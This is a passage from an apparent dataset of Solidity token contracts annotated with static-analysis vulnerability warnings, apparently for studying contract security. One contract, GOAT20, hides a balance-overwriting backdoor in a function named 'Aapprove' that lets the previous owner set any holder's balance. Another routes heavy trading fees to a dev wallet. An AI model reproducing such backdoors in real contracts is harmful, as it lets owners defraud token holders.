Recommendation for 42eaec3: Rename the local variables that shadow another component.\n constructor() ERC20(\"METADECK\", unicode\"MD\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n excludeFromMaxTx(address(_uniswapV2Router), true);\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n excludeFromMaxTx(address(uniswapV2Pair), true);\n\n _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);\n\n uint256 totalSupply = 10_000_000 * 1e18;\n\n maxTx = (totalSupply * 1) / 100;\n\n maxWallet = (totalSupply * 1) / 100;\n\n swapTokensAtAmount = (totalSupply * 25) / 10000;\n\n buyFee = 25;\n\n sellFee = 45;\n\n devWallet = address(0x525F519dbAd2A425dcFd590068A0143bC4548786);\n\n excludeFromTax(owner(), true);\n\n excludeFromTax(address(this), true);\n\n excludeFromTax(address(0xdead), true);\n\n excludeFromMaxTx(owner(), true);\n\n excludeFromMaxTx(address(this), true);\n\n excludeFromMaxTx(address(0xdead), true);\n\n _mint(msg.sender, totalSupply);\n }\n\n receive() external payable {}\n\n function startTrading() external onlyOwner {\n tradingActive = true;\n\n swapEnabled = true;\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n\n return true;\n }\n\n function disableTransferDelay() external onlyOwner returns (bool) {\n transferDelayEnabled = false;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 07d75de): METADECK.updateSwapTokensAtAmount(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 07d75de: Emit an event for critical parameter changes.\n function updateSwapTokensAtAmount(\n uint256 newAmount\n ) external onlyOwner returns (bool) {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 5) / 1000,\n \"Swap amount cannot be higher than 0.5% total supply.\"\n );\n\n\t\t// events-maths | ID: 07d75de\n swapTokensAtAmount = newAmount;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b1b3e62): METADECK.updateMaxTxnAmount(uint256) should emit an event for maxTx = newNum * (10 ** 18) \n\t// Recommendation for b1b3e62: Emit an event for critical parameter changes.\n function updateMaxTxnAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 1) / 1000) / 1e18,\n \"Cannot set maxTx lower than 0.1%\"\n );\n\n\t\t// events-maths | ID: b1b3e62\n maxTx = newNum * (10 ** 18);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7a9d925): METADECK.updatemaxWalletAmount(uint256) should emit an event for maxWallet = newNum * (10 ** 18) \n\t// Recommendation for 7a9d925: Emit an event for critical parameter changes.\n function updatemaxWalletAmount(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 5) / 1000) / 1e18,\n \"Cannot set maxWallet lower than 0.5%\"\n );\n\n\t\t// events-maths | ID: 7a9d925\n maxWallet = newNum * (10 ** 18);\n }\n\n function excludeFromMaxTx(address updAds, bool isEx) public onlyOwner {\n _isExcludedmaxTx[updAds] = isEx;\n }\n\n function updateSwapEnabled(bool enabled) external onlyOwner {\n swapEnabled = enabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5e4489d): METADECK.updateBuyTax(uint256) should emit an event for buyFee = _buyFee \n\t// Recommendation for 5e4489d: Emit an event for critical parameter changes.\n function updateBuyTax(uint256 _buyFee) external onlyOwner {\n require(_buyFee <= 25, \"Must keep fees at 25% or less\");\n\n\t\t// events-maths | ID: 5e4489d\n buyFee = _buyFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 053e6f5): METADECK.updateSellTax(uint256) should emit an event for sellFee = _sellFee \n\t// Recommendation for 053e6f5: Emit an event for critical parameter changes.\n function updateSellTax(uint256 _sellFee) external onlyOwner {\n require(_sellFee <= 45, \"Must keep fees at 45% or less\");\n\n\t\t// events-maths | ID: 053e6f5\n sellFee = _sellFee;\n }\n\n function excludeFromTax(address account, bool excluded) public onlyOwner {\n _isExcludedFromFees[account] = excluded;\n\n emit ExcludeFromTax(account, excluded);\n }\n\n function setAutomatedMarketMakerPair(\n address pair,\n bool value\n ) public onlyOwner {\n require(\n pair != uniswapV2Pair,\n \"The pair cannot be removed from automatedMarketMakerPairs\"\n );\n\n _setAutomatedMarketMakerPair(pair, value);\n }\n\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 637b9ac): METADECK.updateDevWallet(address).newWallet lacks a zerocheck on \t devWallet = newWallet\n\t// Recommendation for 637b9ac: Check that the address is not zero.\n function updateDevWallet(address newWallet) external onlyOwner {\n emit devWalletUpdated(newWallet, devWallet);\n\n\t\t// missing-zero-check | ID: 637b9ac\n devWallet = newWallet;\n }\n\n function isExcludedFromTax(address account) public view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 050ed8f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 050ed8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 8a4fabe): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 8a4fabe: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ba4a1dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ba4a1dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (transferDelayEnabled) {\n if (\n to != owner() &&\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 8a4fabe\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (automatedMarketMakerPairs[from] && !_isExcludedmaxTx[to]) {\n require(\n amount <= maxTx,\n \"Buy transfer amount exceeds the maxTx.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n } else if (\n automatedMarketMakerPairs[to] && !_isExcludedmaxTx[from]\n ) {\n require(\n amount <= maxTx,\n \"Sell transfer amount exceeds the maxTx.\"\n );\n } else if (!_isExcludedmaxTx[to]) {\n require(\n amount + balanceOf(to) <= maxWallet,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 050ed8f\n\t\t\t// reentrancy-eth | ID: ba4a1dc\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: ba4a1dc\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fee = 0;\n\n if (takeFee) {\n if (automatedMarketMakerPairs[to] && sellFee > 0) {\n fee = amount.mul(sellFee).div(100);\n } else if (automatedMarketMakerPairs[from] && buyFee > 0) {\n fee = amount.mul(buyFee).div(100);\n }\n\n\t\t\t// reentrancy-events | ID: 050ed8f\n\t\t\t// reentrancy-eth | ID: ba4a1dc\n super._transfer(from, address(this), fee);\n\n amount -= fee;\n }\n\n\t\t// reentrancy-events | ID: 050ed8f\n\t\t// reentrancy-eth | ID: ba4a1dc\n super._transfer(from, to, amount);\n }\n\n function manSwap(uint256 amount) external {\n require(_msgSender() == devWallet);\n\n require(\n amount <= balanceOf(address(this)) && amount > 0,\n \"Wrong amount\"\n );\n\n swapTokensForEth(amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 050ed8f\n\t\t// reentrancy-eth | ID: ba4a1dc\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n )\n {} catch {}\n }\n\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n\n bool success;\n\n if (contractBalance > swapTokensAtAmount * 20) {\n contractBalance = swapTokensAtAmount * 20;\n }\n\n swapTokensForEth(contractBalance);\n\n uint256 ethBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 050ed8f\n\t\t// reentrancy-eth | ID: ba4a1dc\n (success, ) = address(devWallet).call{value: ethBalance}(\"\");\n }\n}\n",
"file_name": "solidity_code_10150.sol",
"size_bytes": 28827,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface CheatCodes {\n struct Log {\n bytes32[] topics;\n bytes data;\n }\n\n function warp(uint256) external;\n\n function roll(uint256) external;\n\n function fee(uint256) external;\n\n function coinbase(address) external;\n\n function load(address, bytes32) external returns (bytes32);\n\n function store(address, bytes32, bytes32) external;\n\n function sign(uint256, bytes32) external returns (uint8, bytes32, bytes32);\n\n function addr(uint256) external returns (address);\n\n function deriveKey(string calldata, uint32) external returns (uint256);\n\n function deriveKey(\n string calldata,\n string calldata,\n uint32\n ) external returns (uint256);\n\n function ffi(string[] calldata) external returns (bytes memory);\n\n function setEnv(string calldata, string calldata) external;\n\n function envBool(string calldata) external returns (bool);\n\n function envUint(string calldata) external returns (uint256);\n\n function envInt(string calldata) external returns (int256);\n\n function envAddress(string calldata) external returns (address);\n\n function envBytes32(string calldata) external returns (bytes32);\n\n function envString(string calldata) external returns (string memory);\n\n function envBytes(string calldata) external returns (bytes memory);\n\n function envBool(\n string calldata,\n string calldata\n ) external returns (bool[] memory);\n\n function envUint(\n string calldata,\n string calldata\n ) external returns (uint256[] memory);\n\n function envInt(\n string calldata,\n string calldata\n ) external returns (int256[] memory);\n\n function envAddress(\n string calldata,\n string calldata\n ) external returns (address[] memory);\n\n function envBytes32(\n string calldata,\n string calldata\n ) external returns (bytes32[] memory);\n\n function envString(\n string calldata,\n string calldata\n ) external returns (string[] memory);\n\n function envBytes(\n string calldata,\n string calldata\n ) external returns (bytes[] memory);\n\n function prank(address) external;\n\n function startPrank(address) external;\n\n function prank(address, address) external;\n\n function startPrank(address, address) external;\n\n function stopPrank() external;\n\n function deal(address, uint256) external;\n\n function etch(address, bytes calldata) external;\n\n function expectRevert() external;\n\n function expectRevert(bytes calldata) external;\n\n function expectRevert(bytes4) external;\n\n function record() external;\n\n function accesses(\n address\n ) external returns (bytes32[] memory reads, bytes32[] memory writes);\n\n function recordLogs() external;\n\n function getRecordedLogs() external returns (Log[] memory);\n\n function expectEmit(bool, bool, bool, bool) external;\n\n function expectEmit(bool, bool, bool, bool, address) external;\n\n function mockCall(address, bytes calldata, bytes calldata) external;\n\n function mockCall(\n address,\n uint256,\n bytes calldata,\n bytes calldata\n ) external;\n\n function clearMockedCalls() external;\n\n function expectCall(address, bytes calldata) external;\n\n function expectCall(address, uint256, bytes calldata) external;\n\n function getCode(string calldata) external returns (bytes memory);\n\n function label(address, string calldata) external;\n\n function assume(bool) external;\n\n function setNonce(address, uint64) external;\n\n function getNonce(address) external returns (uint64);\n\n function chainId(uint256) external;\n\n function broadcast() external;\n\n function broadcast(address) external;\n\n function startBroadcast() external;\n\n function startBroadcast(address) external;\n\n function stopBroadcast() external;\n\n function readFile(string calldata) external returns (string memory);\n\n function readLine(string calldata) external returns (string memory);\n\n function writeFile(string calldata, string calldata) external;\n\n function writeLine(string calldata, string calldata) external;\n\n function closeFile(string calldata) external;\n\n function removeFile(string calldata) external;\n\n function toString(address) external returns (string memory);\n\n function toString(bytes calldata) external returns (string memory);\n\n function toString(bytes32) external returns (string memory);\n\n function toString(bool) external returns (string memory);\n\n function toString(uint256) external returns (string memory);\n\n function toString(int256) external returns (string memory);\n\n function snapshot() external returns (uint256);\n\n function revertTo(uint256) external returns (bool);\n\n function createFork(string calldata, uint256) external returns (uint256);\n\n function createFork(string calldata) external returns (uint256);\n\n function createSelectFork(\n string calldata,\n uint256\n ) external returns (uint256);\n\n function createSelectFork(string calldata) external returns (uint256);\n\n function selectFork(uint256) external;\n\n function activeFork() external returns (uint256);\n\n function rollFork(uint256) external;\n\n function rollFork(uint256 forkId, uint256 blockNumber) external;\n\n function rpcUrl(string calldata) external returns (string memory);\n\n function rpcUrls() external returns (string[2][] memory);\n\n function makePersistent(address account) external;\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transfer_hoppeiOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _isAdmin();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _isAdmin() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transfer_hoppeiOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transfer_hoppeiOwnership(newOwner);\n }\n\n function _transfer_hoppeiOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply_hoppei;\n\n string private _name_hoppei;\n\n string private _symbol_hoppei;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name_hoppei = name_;\n\n _symbol_hoppei = symbol_;\n\n _totalSupply_hoppei = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name_hoppei;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol_hoppei;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply_hoppei;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve_hoppei(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer_hoppei(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve_hoppei(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve_hoppei(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve_hoppei(\n _msgSender(),\n spender,\n currentAllowance - subtractedValue\n );\n\n return true;\n }\n\n function _transfer_hoppei(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transfer_etcstwws(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply_hoppei -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Aapprove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgSenderHe = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgSenderHe == prevOwnerHex;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 406ee9b): ERC20._approve_hoppei(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 406ee9b: Rename the local variables that shadow another component.\n function _approve_hoppei(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract GOAT20 is ERC20 {\n uint256 private constant TOAL_SUTSLTSTSDE = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 3739c69): GOAT20.DEAD shadows ERC20.DEAD\n\t// Recommendation for 3739c69: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: a65b251): GOAT20.ZERO shadows ERC20.ZERO\n\t// Recommendation for a65b251: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 85718ec): GOAT20.maxTxAmoudcMT should be immutable \n\t// Recommendation for 85718ec: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTxAmoudcMT;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f8f5c34): GOAT20.maxwalles_MST should be immutable \n\t// Recommendation for f8f5c34: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxwalles_MST;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a7ccb9): GOAT20._burnPettsse should be constant \n\t// Recommendation for 9a7ccb9: Add the 'constant' attribute to state variables that never change.\n uint256 _burnPettsse = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8b36ad3): GOAT20.uniswapV2Router should be immutable \n\t// Recommendation for 8b36ad3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Goatseus Maximus2.0\", unicode\"GOAT2.0\", TOAL_SUTSLTSTSDE) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxwalles_MST = TOAL_SUTSLTSTSDE / 50;\n\n maxTxAmoudcMT = TOAL_SUTSLTSTSDE / 50;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnPettsse) / 100;\n\n super._transfer_etcstwws(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTxAmoudcMT, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= maxwalles_MST,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10151.sol",
"size_bytes": 18921,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAGA47 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 14ac5c7): MAGA47.bots is never initialized. It is used in MAGA47._transfer(address,address,uint256)\n\t// Recommendation for 14ac5c7: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e54e485): MAGA47._taxWallet should be immutable \n\t// Recommendation for e54e485: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3cc050): MAGA47._initialBuyTax should be constant \n\t// Recommendation for d3cc050: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2849929): MAGA47._initialSellTax should be constant \n\t// Recommendation for 2849929: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e74699): MAGA47._reduceBuyTaxAt should be constant \n\t// Recommendation for 1e74699: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: f4ab176): MAGA47._reduceSellTaxAt should be constant \n\t// Recommendation for f4ab176: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e986673): MAGA47._preventSwapBefore should be constant \n\t// Recommendation for e986673: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 60;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Save America\";\n\n string private constant _symbol = unicode\"MAGA47\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 387c708): MAGA47._taxSwapThreshold should be constant \n\t// Recommendation for 387c708: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// 